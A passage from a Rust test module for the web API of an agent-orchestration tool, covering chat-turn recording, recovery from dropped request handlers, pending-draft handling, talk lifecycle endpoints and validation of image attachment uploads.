6073            "rename the loader".to_owned(),
6074            "rename the loader".to_owned(),
6075            PathBuf::from("/repo/magi"),
6076            Source::Agent {
6077                run: talk_id.clone(),
6078                node: "chat".to_owned(),
6079            },
6080        );
6081        queue.put(&mut mine).expect("file the task");
6082        let mut theirs = Task::new(
6083            "unrelated".to_owned(),
6084            "unrelated".to_owned(),
6085            PathBuf::from("/repo/magi"),
6086            Source::Human,
6087        );
6088        queue.put(&mut theirs).expect("file the task");
6089
6090        let res = f.get(&format!("/api/talks/{talk_id}")).await;
6091        assert_eq!(res.status, 200, "{}", res.body);
6092        let body = res.json();
6093        assert_eq!(
6094            body["status"], "open",
6095            "filing a task does not close a talk"
6096        );
6097        let tasks = body["tasks"].as_array().expect("tasks array");
6098        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
6099        assert_eq!(tasks[0]["id"], mine.id);
6100    }
6101
6102    #[tokio::test]
6103    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
6104        let (_tmp, _repo, f) = talk_fixture().await;
6105        let id = f.post("/api/talks", None).await.json()["id"]
6106            .as_str()
6107            .expect("id")
6108            .to_owned();
6109
6110        let res = f
6111            .post(
6112                &format!("/api/talks/{id}/say"),
6113                Some(r#"{"text":"what does the queue module do?"}"#),
6114            )
6115            .await;
6116        assert_eq!(res.status, 202, "{}", res.body);
6117        let queued = res.json();
6118        let turns = queued["turns"].as_array().expect("turns array");
6119        assert_eq!(
6120            turns.len(),
6121            1,
6122            "the answer reflects only what is on disk the instant it is sent, \
6123             before the agent's turn - which can run for the whole of \
6124             `[graph] timeout_talk` - has a chance to land: {queued}"
6125        );
6126        assert_eq!(turns[0]["who"], "operator");
6127        assert_eq!(turns[0]["body"], "what does the queue module do?");
6128        assert_eq!(
6129            queued["thinking"], true,
6130            "the accepted response exposes the background turn claim: {queued}"
6131        );
6132
6133        let mut turns_after = 1;
6134        for _ in 0..SETTLE_STEPS {
6135            let detail = f.get(&format!("/api/talks/{id}")).await.json();
6136            turns_after = detail["turns"].as_array().expect("turns array").len();
6137            if turns_after == 2 {
6138                break;
6139            }
6140            tokio::time::sleep(Duration::from_millis(10)).await;
6141        }
6142        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
6143    }
6144
6145    /// A phone that reloads mid-request drops `talk_say`'s whole handler
6146    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
6147    /// guards against: `talk::record` used to return, and only *then* did the
6148    /// handler make a second, separate disk round trip before spawning the
6149    /// agent's reply task. A future dropped in that gap left a message
6150    /// recorded on disk with no reply task ever started and no way back short
6151    /// of a fresh message - and the gap was not even the whole story: *any*
6152    /// `.await` in this handler, including the very first one, is a point
6153    /// where a drop can land after the awaited work already finished but
6154    /// before this handler's own code resumes to act on it. `record` now
6155    /// runs inside the task `tokio::spawn` hands to the runtime before this
6156    /// handler ever awaits anything of its own again, so there is nothing
6157    /// left in *this* handler's future for a disconnect to interrupt between
6158    /// the message landing on disk and the reply task starting.
6159    ///
6160    /// A real socket disconnect cannot be relied on to land in the old gap
6161    /// from a test - over loopback, `talk_say` typically finishes before the
6162    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
6163    /// same failure mode directly: it drops the task's future at whatever
6164    /// point it has reached, exactly what axum does to the handler future,
6165    /// without needing to win a real network race. Sweeping the delay before
6166    /// aborting samples a range of points the task's execution can be at,
6167    /// including where the old code sat waiting on its second disk round
6168    /// trip - confirmed by reverting this fix locally and watching this same
6169    /// sweep catch a talk stuck with the operator's turn recorded and no
6170    /// reply ever following.
6171    #[tokio::test]
6172    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
6173        let tmp = TempDir::new().expect("tempdir");
6174        let repo = tmp.path().join("repo");
6175        std::fs::create_dir_all(&repo).expect("repo dir");
6176        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6177        let home = TempDir::new().expect("temp home");
6178        let talks = Talks::at(home.path().join("talks"));
6179        let ui = Arc::new(
6180            Ui::new(
6181                Queue::at(home.path().join("queue")),
6182                Questions::at(home.path().join("questions")),
6183                talks.clone(),
6184                home.path().join("runs"),
6185                home.path().to_path_buf(),
6186                repo.clone(),
6187            )
6188            .with_worktrees_root(home.path().join("wt")),
6189        );
6190        let cfg = config_for(&repo).await.expect("discover config");
6191
6192        for delay in 0..40u32 {
6193            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
6194            let id = talk.id.clone();
6195
6196            let handler = tokio::spawn(talk_say(
6197                State(Arc::clone(&ui)),
6198                Path(id.clone()),
6199                Ok(Json(NewTalkTurn {
6200                    text: "what does the queue module do?".to_owned(),
6201                    attachments: Vec::new(),
6202                })),
6203            ));
6204            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
6205            handler.abort();
6206            // Wait out the abort so the next iteration's talk does not race
6207            // this one's still-unwinding turn guard.
6208            let _ = handler.await;
6209
6210            let mut turns = 0;
6211            for _ in 0..SETTLE_STEPS {
6212                if let Ok(fresh) = talks.get(&id) {
6213                    turns = fresh.turns.len();
6214                    if turns != 1 {
6215                        break;
6216                    }
6217                }
6218                tokio::time::sleep(Duration::from_millis(10)).await;
6219            }
6220            assert_ne!(
6221                turns, 1,
6222                "delay {delay}: talk {id} recorded the operator's turn but \
6223                 the agent never answered - the reply task was never \
6224                 started after the handler future was dropped"
6225            );
6226        }
6227    }
6228
6229    /// The same drop, landing on `talk_say`'s other durable write.
6230    ///
6231    /// When a turn is already running, the busy branch persists the
6232    /// operator's text as a queued draft and then reclaims the turn slot if
6233    /// the holder gave it up in the meantime - and whoever reclaims owes that
6234    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
6235    /// which finishes whether or not the future awaiting it is still there,
6236    /// so a handler dropped at that `.await` used to leave the draft written
6237    /// to disk with the reclaimed guard dropped unread and no drainer ever
6238    /// started: the message sat queued until some unrelated later `say`
6239    /// happened to pick it up.
6240    ///
6241    /// This used to drive the handler future by hand, polling it a fixed
6242    /// number of times to park it at the `.await` where it asks for the turn
6243    /// and finds it busy, before the reclaim's slot-free case could be set up
6244    /// underneath it. That assumed a fixed number of polls lands at a fixed
6245    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
6246    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
6247    /// poll, so any number of this handler's several `blocking` awaits can
6248    /// collapse into one poll under load, landing the drive somewhere other
6249    /// than intended - including, occasionally, straight past the handler's
6250    /// own completion, which made polling it again panic with "async fn
6251    /// resumed after completion". No poll count fixes that; the handler's
6252    /// progress simply is not something a caller outside it can observe by
6253    /// counting.
6254    ///
6255    /// [`BusyQueueGate`] replaces the poll count with a real stop point
6256    /// inside the write itself, so the interleaving under test is pinned by
6257    /// an event instead of a guess: the gate fires only once the handler has
6258    /// actually decided `Busy` and is about to persist the draft, and it
6259    /// blocks that write until the test lets it through. Between those two
6260    /// moments the test drains the turn the handler found busy - through
6261    /// `drain_loop`, the protocol's other half - and then aborts the handler
6262    /// task outright, the same way axum drops a disconnected request's
6263    /// future. The write, and the reclaim it may do, run to completion
6264    /// regardless: they live in the `tokio::spawn` task the busy branch hands
6265    /// to the runtime before ever touching the gate, wholly independent of
6266    /// whether the handler that started it is still around - which is what
6267    /// this test is actually checking. A drainer other than that reclaim
6268    /// cannot exist here: the test's own `drain_loop` call happens before the
6269    /// gate opens, so it runs while the queue is still empty and hands the
6270    /// turn straight back rather than draining anything, closing off the
6271    /// possibility of the final assertion passing without the reclaim ever
6272    /// having done its job.
6273    #[tokio::test]
6274    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
6275        let tmp = TempDir::new().expect("tempdir");
6276        let repo = tmp.path().join("repo");
6277        std::fs::create_dir_all(&repo).expect("repo dir");
6278        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6279        let home = TempDir::new().expect("temp home");
6280        let talks = Talks::at(home.path().join("talks"));
6281        let ui = Arc::new(
6282            Ui::new(
6283                Queue::at(home.path().join("queue")),
6284                Questions::at(home.path().join("questions")),
6285                talks.clone(),
6286                home.path().join("runs"),
6287                home.path().to_path_buf(),
6288                repo.clone(),
6289            )
6290            .with_worktrees_root(home.path().join("wt")),
6291        );
6292        let cfg = config_for(&repo).await.expect("discover config");
6293
6294        for attempt in 0..3u32 {
6295            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
6296            let id = talk.id.clone();
6297            // A turn is already running, which is what sends `talk_say` down
6298            // the busy branch.
6299            let turn_guard = ui
6300                .begin_talk_turn(&id)
6301                .expect("claim the turn")
6302                .expect("a fresh talk owes nobody a turn");
6303
6304            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
6305            let (release_tx, release_rx) = std::sync::mpsc::channel();
6306            ui.set_busy_queue_gate(BusyQueueGate {
6307                reached: reached_tx,
6308                release: release_rx,
6309            });
6310
6311            let handler = tokio::spawn(talk_say(
6312                State(Arc::clone(&ui)),
6313                Path(id.clone()),
6314                Ok(Json(NewTalkTurn {
6315                    text: "what does the queue module do?".to_owned(),
6316                    attachments: Vec::new(),
6317                })),
6318            ));
6319
6320            // Wait for the busy branch to actually reach the gate, rather
6321            // than for any fixed number of polls of anything - a bounded
6322            // wait rather than a bare `.await` so a regression that never
6323            // reaches the gate fails the test instead of hanging it.
6324            tokio::time::timeout(Duration::from_secs(5), reached_rx)
6325                .await
6326                .unwrap_or_else(|_| {
6327                    panic!(
6328                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
6329                    )
6330                })
6331                .expect("the busy branch dropped the gate without using it");
6332
6333            // The turn that was running now finishes and gives the slot up
6334            // the way a real one does - through `drain_loop`, which finds
6335            // nothing queued yet (the write is still held at the gate) and
6336            // releases. The handler, parked inside `spawn_blocking` on the
6337            // other side of the gate, still believes the talk is busy -
6338            // exactly the interleaving the reclaim exists for.
6339            let running = talks.get(&id).expect("reload talk");
6340            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
6341
6342            // Drop the handler future now, the way a reloading phone drops
6343            // it: suspended waiting on the busy branch's answer, having
6344            // itself made no more progress since it handed the write off.
6345            handler.abort();
6346            let _ = handler.await;
6347
6348            // Only now let the gated write proceed. It persists the draft
6349            // and reclaims the now-free slot from inside the task the busy
6350            // branch already spawned - unaffected by the handler's abort
6351            // above, since that task was independent of the handler's own
6352            // future from the moment it was spawned.
6353            let _ = release_tx.send(());
6354
6355            // A settled talk: the draft drained into an operator turn and
6356            // answered.
6357            let mut fresh = talks.get(&id).expect("reload talk");
6358            for _ in 0..SETTLE_STEPS {
6359                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
6360                    break;
6361                }
6362                tokio::time::sleep(Duration::from_millis(10)).await;
6363                fresh = talks.get(&id).expect("reload talk");
6364            }
6365            assert!(
6366                fresh.pending.is_empty() && fresh.turns.len() == 2,
6367                "attempt {attempt}: talk {id} left the operator's text queued \
6368                 with no drainer - the reclaimed turn was dropped along with \
6369                 the handler future (pending {:?}, {} turns)",
6370                fresh.pending,
6371                fresh.turns.len()
6372            );
6373        }
6374    }
6375
6376    #[tokio::test]
6377    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
6378        let (_tmp, _repo, f) = talk_fixture().await;
6379        let id = f.post("/api/talks", None).await.json()["id"]
6380            .as_str()
6381            .expect("id")
6382            .to_owned();
6383        let store = f.talks();
6384        let mut recovered = store.get(&id).expect("opened talk");
6385        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
6386            .expect("persist pending draft without a live turn");
6387
6388        let edited = f
6389            .post(
6390                &format!("/api/talks/{id}/pending/edit"),
6391                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
6392            )
6393            .await;
6394        assert_eq!(edited.status, 200, "{}", edited.body);
6395        assert!(edited.json()["thinking"].as_bool().unwrap());
6396
6397        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
6398        for _ in 0..SETTLE_STEPS {
6399            if detail["turns"].as_array().expect("turns").len() == 2 {
6400                break;
6401            }
6402            tokio::time::sleep(Duration::from_millis(10)).await;
6403            detail = f.get(&format!("/api/talks/{id}")).await.json();
6404        }
6405        let turns = detail["turns"].as_array().expect("turns");
6406        assert_eq!(
6407            turns.len(),
6408            2,
6409            "the recovered draft must run once: {detail}"
6410        );
6411        assert_eq!(turns[0]["body"], "corrected");
6412        assert_eq!(detail["pending"], "");
6413    }
6414
6415    #[tokio::test]
6416    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
6417        let tmp = TempDir::new().expect("tempdir");
6418        let repo = tmp.path().join("repo");
6419        std::fs::create_dir_all(&repo).expect("repo dir");
6420        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
6421        let f = Fixture::with_repo(repo).await;
6422        let id = f.post("/api/talks", None).await.json()["id"]
6423            .as_str()
6424            .expect("id")
6425            .to_owned();
6426        let store = f.talks();
6427        let mut recovered = store.get(&id).expect("opened talk");
6428        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
6429            .expect("persist pending draft without a live turn");
6430
6431        let refused = f
6432            .post(
6433                &format!("/api/talks/{id}/say"),
6434                Some(r#"{"text":"new message"}"#),
6435            )
6436            .await;
6437        assert_eq!(refused.status, 409, "{}", refused.body);
6438        assert!(refused.body.contains("resume"), "{}", refused.body);
6439        let saved = store.get(&id).expect("draft remains after refusal");
6440        assert!(saved.turns.is_empty());
6441        assert_eq!(saved.pending, "saved before restart");
6442
6443        let say_path = format!("/api/talks/{id}/say");
6444        let (first, second) = tokio::join!(
6445            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
6446            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
6447        );
6448        assert_eq!(first.status, 409, "{}", first.body);
6449        assert_eq!(second.status, 409, "{}", second.body);
6450        let saved = store
6451            .get(&id)
6452            .expect("draft remains after concurrent refusals");
6453        assert!(saved.turns.is_empty());
6454        assert_eq!(saved.pending, "saved before restart");
6455
6456        let resumed = f
6457            .post(&format!("/api/talks/{id}/pending/resume"), None)
6458            .await;
6459        assert_eq!(resumed.status, 202, "{}", resumed.body);
6460        let duplicate = f
6461            .post(&format!("/api/talks/{id}/pending/resume"), None)
6462            .await;
6463        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
6464
6465        for _ in 0..SETTLE_STEPS {
6466            if store.get(&id).expect("talk").turns.len() == 2 {
6467                break;
6468            }
6469            tokio::time::sleep(Duration::from_millis(10)).await;
6470        }
6471        let finished = store.get(&id).expect("finished talk");
6472        assert_eq!(finished.turns.len(), 2, "{finished:?}");
6473        assert_eq!(finished.turns[0].body, "saved before restart");
6474        assert!(finished.pending.is_empty());
6475    }
6476
6477    #[tokio::test]
6478    async fn an_image_only_recovered_draft_resumes_without_text() {
6479        let (_tmp, _repo, f) = talk_fixture().await;
6480        let id = f.post("/api/talks", None).await.json()["id"]
6481            .as_str()
6482            .expect("id")
6483            .to_owned();
6484        let uploaded = f
6485            .post_bytes(
6486                &format!("/api/talks/{id}/attachments"),
6487                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
6488                PNG_BYTES,
6489            )
6490            .await;
6491        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
6492        let attachment = f
6493            .talks()
6494            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
6495            .expect("attachment metadata")
6496            .expect("stored attachment");
6497        let store = f.talks();
6498        let mut recovered = store.get(&id).expect("opened talk");
6499        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
6500
6501        let resumed = f
6502            .post(&format!("/api/talks/{id}/pending/resume"), None)
6503            .await;
6504        assert_eq!(resumed.status, 202, "{}", resumed.body);
6505        for _ in 0..SETTLE_STEPS {
6506            if store.get(&id).expect("talk").turns.len() == 2 {
6507                break;
6508            }
6509            tokio::time::sleep(Duration::from_millis(10)).await;
6510        }
6511        let finished = store.get(&id).expect("finished talk");
6512        assert_eq!(finished.turns.len(), 2, "{finished:?}");
6513        assert!(finished.turns[0].body.is_empty());
6514        assert_eq!(finished.turns[0].attachments.len(), 1);
6515        assert!(finished.pending_attachments.is_empty());
6516    }
6517
6518    #[tokio::test]
6519    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
6520        let (_tmp, _repo, f) = talk_fixture().await;
6521        let id = f.post("/api/talks", None).await.json()["id"]
6522            .as_str()
6523            .expect("id")
6524            .to_owned();
6525        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6526        assert_eq!(closed.status, 200, "{}", closed.body);
6527        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
6528            .expect("serialize closed talk");
6529        for (path, body) in [
6530            (format!("/api/talks/{id}/pending/resume"), None),
6531            (
6532                format!("/api/talks/{id}/pending/clear"),
6533                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
6534            ),
6535            (
6536                format!("/api/talks/{id}/pending/edit"),
6537                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
6538            ),
6539            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
6540        ] {
6541            let response = f.post(&path, body).await;
6542            assert_eq!(response.status, 409, "{}", response.body);
6543        }
6544        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
6545            .expect("serialize closed talk");
6546        assert_eq!(
6547            after_clear, before_clear,
6548            "clear must not rewrite a closed talk"
6549        );
6550    }
6551
6552    /// Keeps both claims observable long enough to exercise the distinction
6553    /// between one busy talk and a globally locked Chat surface.
6554    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
6555
6556    #[tokio::test]
6557    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
6558        let tmp = TempDir::new().expect("tempdir");
6559        let repo = tmp.path().join("repo");
6560        std::fs::create_dir_all(&repo).expect("repo dir");
6561        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
6562        let f = Fixture::with_repo(repo).await;
6563        let id_a = f.post("/api/talks", None).await.json()["id"]
6564            .as_str()
6565            .unwrap()
6566            .to_owned();
6567        let id_b = f.post("/api/talks", None).await.json()["id"]
6568            .as_str()
6569            .unwrap()
6570            .to_owned();
6571
6572        let a = f
6573            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
6574            .await;
6575        assert_eq!(a.status, 202, "{}", a.body);
6576        assert_eq!(a.json()["thinking"], true);
6577        let b = f
6578            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
6579            .await;
6580        assert_eq!(b.status, 202, "{}", b.body);
6581        assert_eq!(b.json()["thinking"], true);
6582
6583        let listed = f.get("/api/talks").await.json();
6584        for id in [&id_a, &id_b] {
6585            let view = listed
6586                .as_array()
6587                .unwrap()
6588                .iter()
6589                .find(|talk| talk["id"] == *id)
6590                .unwrap();
6591            assert_eq!(view["thinking"], true, "{listed}");
6592        }
6593        let repeated = f
6594            .post(
6595                &format!("/api/talks/{id_a}/say"),
6596                Some(r#"{"text":"again"}"#),
6597            )
6598            .await;
6599        assert_eq!(repeated.status, 202, "{}", repeated.body);
6600        assert_eq!(repeated.json()["pending"], "again");
6601    }
6602
6603    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
6604    /// few more, since real uploads are never exactly eight bytes.
6605    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
6606
6607    #[tokio::test]
6608    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
6609        let f = Fixture::start().await;
6610        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
6611
6612        let res = f
6613            .post_bytes(
6614                &format!("/api/talks/{id}/attachments"),
6615                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
6616                PNG_BYTES,
6617            )
6618            .await;
6619        assert_eq!(res.status, 201, "{}", res.body);
6620        let body = res.json();
6621        assert_eq!(body["name"], "shot.png");
6622        assert_eq!(body["mime"], "image/png");
6623        assert_eq!(body["bytes"], PNG_BYTES.len());
6624        let att_id = body["id"].as_str().expect("id").to_owned();
6625        assert_eq!(
6626            att_id.len(),
6627            32,
6628            "the id must never be a client-suppliable path: {att_id}"
6629        );
6630
6631        let got = f
6632            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
6633            .await;
6634        assert_eq!(got.status, 200, "{}", got.body);
6635        assert_eq!(got.header("content-type"), Some("image/png"));
6636        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
6637        assert_eq!(got.bytes, PNG_BYTES);
6638    }
6639
6640    #[tokio::test]
6641    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
6642        let f = Fixture::start().await;
6643        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
6644
6645        // SVG can carry a `<script>`, so it is never on the whitelist even
6646        // though it is a real IANA image type.
6647        let svg = f
6648            .post_bytes(
6649                &format!("/api/talks/{id}/attachments"),
6650                &[("Content-Type", "image/svg+xml")],
6651                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
6652            )
6653            .await;
6654        assert!(
6655            (400..500).contains(&svg.status),
6656            "svg must be refused: {} {}",
6657            svg.status,
6658            svg.body
6659        );
6660        assert!(svg.body.contains("SVG"), "{}", svg.body);
6661
6662        let text = f
6663            .post_bytes(
6664                &format!("/api/talks/{id}/attachments"),
6665                &[("Content-Type", "text/plain")],
6666                b"just some text",
6667            )
6668            .await;
6669        assert!(
6670            (400..500).contains(&text.status),
6671            "an unlisted type must be refused: {} {}",
6672            text.status,
6673            text.body
6674        );
6675
6676        // The declared type is a real png, but the size check runs before
6677        // the bytes are even looked at.
6678        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
6679        let big = f
6680            .post_bytes(
6681                &format!("/api/talks/{id}/attachments"),
6682                &[("Content-Type", "image/png")],
6683                &oversized,
6684            )
6685            .await;
6686        assert_eq!(
6687            big.status,
6688            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
6689            "{}",
6690            big.body
6691        );
6692    }
6693
6694    #[tokio::test]
6695    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
6696        let f = Fixture::start().await;
6697        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
6698
6699        // A whitelisted `Content-Type`, but bytes that are not actually a
6700        // png - the declared header alone is never trusted.
6701        let res = f
6702            .post_bytes(
6703                &format!("/api/talks/{id}/attachments"),
6704                &[("Content-Type", "image/png")],
6705                b"<html>not a picture</html>",
6706            )
6707            .await;
6708        assert!((400..500).contains(&res.status), "{}", res.body);
6709    }
6710
6711    #[tokio::test]
6712    async fn an_unknown_attachment_id_is_a_404() {
6713        let f = Fixture::start().await;
6714        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
6715
6716        let res = f
6717            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
6718            .await;
6719        assert_eq!(res.status, 404, "{}", res.body);
6720    }
6721
6722    #[tokio::test]
6723    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
6724        let f = Fixture::start().await;
6725        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
6726
6727        let uploaded = f
6728            .post_bytes(
6729                &format!("/api/talks/{id}/attachments"),
6730                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
6731                PNG_BYTES,
6732            )
6733            .await;
6734        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
6735        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
6736
6737        let res = f
6738            .post(
6739                &format!("/api/talks/{id}/say"),
6740                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
6741            )
6742            .await;
6743        assert_eq!(res.status, 202, "{}", res.body);
6744        let queued = res.json();
6745        let turns = queued["turns"].as_array().expect("turns array");
6746        assert_eq!(
6747            turns.len(),
6748            1,
6749            "an empty body with an attachment is still a turn: {queued}"
6750        );
6751        assert_eq!(turns[0]["who"], "operator");
6752        assert_eq!(turns[0]["body"], "");
6753        let atts = turns[0]["attachments"]
6754            .as_array()
6755            .expect("attachments array");
6756        assert_eq!(atts.len(), 1);
6757        assert_eq!(atts[0]["id"], att_id);
6758        assert_eq!(atts[0]["mime"], "image/png");
6759
6760        // Not only in the response: `record` flushes to disk before the
6761        // agent's own turn is even spawned.
6762        let on_disk = f.talks().get(&id).expect("get");
6763        assert_eq!(on_disk.turns[0].attachments.len(), 1);
6764        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
6765    }
6766
6767    #[tokio::test]
6768    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
6769        let f = Fixture::start().await;
6770        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
6771
6772        let res = f
6773            .post(
6774                &format!("/api/talks/{id}/say"),
6775                Some(&format!(
6776                    r#"{{"text":"hi","attachments":["{}"]}}"#,
6777                    "a".repeat(32)
6778                )),
6779            )
6780            .await;
6781        assert!((400..500).contains(&res.status), "{}", res.body);
6782        assert!(res.body.contains("unknown attachment"), "{}", res.body);
6783
6784        let on_disk = f.talks().get(&id).expect("get");
6785        assert!(
6786            on_disk.turns.is_empty(),
6787            "a rejected attachment id must not partially record the turn: {:?}",
6788            on_disk.turns
6789        );
6790    }
6791
6792    #[tokio::test]
6793    async fn talk_close_makes_the_talk_refuse_further_turns() {
6794        let f = Fixture::start().await;
6795        let id = seed_talk(&f, "20260904-014455-cd34", "open");
6796
6797        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6798        assert_eq!(closed.status, 200, "{}", closed.body);
6799        assert_eq!(closed.json()["status"], "closed");
6800
6801        // Idempotent: closing an already-closed talk is not an error.
6802        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
6803        assert_eq!(closed_again.status, 200);
6804        assert_eq!(closed_again.json()["status"], "closed");
6805
6806        let said = f
6807            .post(
6808                &format!("/api/talks/{id}/say"),
6809                Some(r#"{"text":"too late"}"#),
6810            )
6811            .await;
6812        assert_eq!(said.status, 409, "{}", said.body);
6813    }
6814
6815    #[tokio::test]
6816    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
6817        let (_tmp, _repo, f) = talk_fixture().await;
6818        let id = f.post("/api/talks", None).await.json()["id"]
6819            .as_str()
6820            .expect("id")
6821            .to_owned();
6822        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6823        assert_eq!(closed.status, 200, "{}", closed.body);
6824
6825        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6826        assert_eq!(reopened.status, 200, "{}", reopened.body);
6827        assert_eq!(reopened.json()["status"], "open");
6828
6829        // Idempotent: reopening an already-open talk is not an error.
6830        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6831        assert_eq!(reopened_again.status, 200);
6832        assert_eq!(reopened_again.json()["status"], "open");
6833
6834        let said = f
6835            .post(
6836                &format!("/api/talks/{id}/say"),
6837                Some(r#"{"text":"still there?"}"#),
6838            )
6839            .await;
6840        assert_eq!(
6841            said.status, 202,
6842            "a reopened talk accepts turns again: {}",
6843            said.body
6844        );
6845    }
6846
6847    #[tokio::test]
6848    async fn talk_reopen_on_an_unknown_id_is_404() {
6849        let f = Fixture::start().await;
6850        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
6851        assert_eq!(res.status, 404, "{}", res.body);
6852    }
6853
6854    #[tokio::test]
6855    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
6856        let f = Fixture::start().await;
6857        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
6858
6859        let deleted = f.delete(&format!("/api/talks/{id}")).await;
6860        assert_eq!(deleted.status, 204, "{}", deleted.body);
6861
6862        let after = f.get(&format!("/api/talks/{id}")).await;
6863        assert_eq!(after.status, 404, "{}", after.body);
6864
6865        let listed = f.get("/api/talks").await.json();
6866        assert!(
6867            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
6868            "a deleted talk must not linger in the list: {listed}"
6869        );
6870    }
6871
6872    #[tokio::test]
6873    async fn talk_delete_on_an_unknown_id_is_404() {
6874        let f = Fixture::start().await;
6875        let res = f.delete("/api/talks/nonexistent-id").await;
6876        assert_eq!(res.status, 404, "{}", res.body);
6877    }
6878
6879    #[tokio::test]
6880    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
6881        let f = Fixture::start().await;
6882        let queue = f.queue();
6883        let mut task = Task::new(
6884            "spent".to_owned(),
6885            "Try again".to_owned(),
6886            PathBuf::from("/repo/magi"),
6887            Source::Human,
6888        );
6889        task.start("20260902-140502-bbbb".to_owned());
6890        task.fail("agent gave up", 9);
6891        queue.put(&mut task).expect("file the task");
6892
6893        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6894        assert_eq!(held.status, 200);
6895        assert_eq!(held.json()["status_str"], "held");
6896
6897        let released = f
6898            .post(&format!("/api/queue/{}/release", task.id), None)
6899            .await;
6900        assert_eq!(released.status, 200);
6901        assert_eq!(released.json()["status_str"], "queued");
6902        assert_eq!(
6903            released.json()["attempts"],
6904            0,
6905            "release is a real second chance, not an instant re-hold"
6906        );
6907        assert_eq!(
6908            queue.get(&task.id).expect("reload").status,
6909            TaskStatus::Queued,
6910            "the change is on disk, not only in the reply"
6911        );
6912        assert!(
6913            !f.home
6914                .path()
6915                .join("queue")
6916                .join(format!("{}.lock", task.id))
6917                .exists(),
6918            "the claim the mutation took is released again"
6919        );
6920    }
6921
6922    #[tokio::test]
6923    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
6924        let f = Fixture::start().await;
